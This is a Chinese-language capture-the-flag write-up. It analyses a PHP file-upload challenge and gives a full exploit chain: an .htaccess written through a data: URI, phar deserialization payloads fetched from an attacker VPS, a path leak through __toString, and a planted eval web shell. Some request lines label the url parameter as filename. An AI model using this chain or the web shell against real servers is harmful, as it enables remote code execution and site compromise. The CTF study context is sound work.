题目给出了源码
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}
$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}
upload:
1.创建沙盒
2.检查url不能带file和php,filename不能带..或/。后缀名不能以ph结尾
3.最后。他会file_get_contents($url)
。然后不能出现黑名单中的东西。然后再file_put_contents写入
remove:
就删除文件。没啥好说的
count:
扫描当前目录有多少文件
首先。upload是采用黑名单过滤。不能传php。那么可以配合.htaccess解析
我们可以用data伪协议传.htaccess
data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0
AddHandler php7-script .txt
然后现在就能解析txt为php
在代码的析构函数中。存在file_put_contents($this->filename.".txt", $string);
而string。又是$this->userdir
可控。我们可以构造$this->filename
为xxx。然后$this->userdir
为一句话。然后触发反序列化即可。
在upload中。由于url没过滤phar://。那么我们可以在VPS上。放构造好的phar。然后
url=http://xxx/1.jpg&filename=1.jpg
url=phar://upload/xxxx/1.jpg&filename=1
即可触发反序列化。生成xxx.txt
这有个triks。在析构函数中。当前目录是根目录。也就是说。我们还得知道web的绝对路径
这里存在个tostring魔术方法。
可以将$this->userdir
赋值为当前类。然后触发tostring。反序列化userdir为..。就可以得到当前路径
获取路径
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$a=new dir();
$b=new dir();
$b->userdir='..';
$a->userdir=$b;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
放到VPS上。为1.jpg
下载文件:
action=upload&filename=http://xxx.xxx.xxx.xx/1.jpg&filename=1.jpg
触发反序列化。得到目录名
action=upload&filename=phar://upload/fdjkfjdkfjkdiofweu/1.jpg&filename=1
至此。已得到了目录名。
然后写shell
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$a=new dir();
$a->filename='/var/www/html/a878dbebc902328b/upload/48cd8b43081896fbd0931d204f947663/test';
$a->userdir='<?php eval($_POST[1]);?>';
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后将这个文件gzip phar.phar
下载文件:
action=upload&filename=http://xxx.xxx.xxx.xx/2.jpg&filename=2.jpg
触发反序列化。生成test.txt
action=upload&filename=phar://upload/fdjkfjdkfjkdiofweu/2.jpg&filename=2
这里不太懂。为啥phar可以直接解析gzip压缩过的文件内容
生成.htaccess
action=upload&filename=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0&filename=.htaccess
然后就得到了shell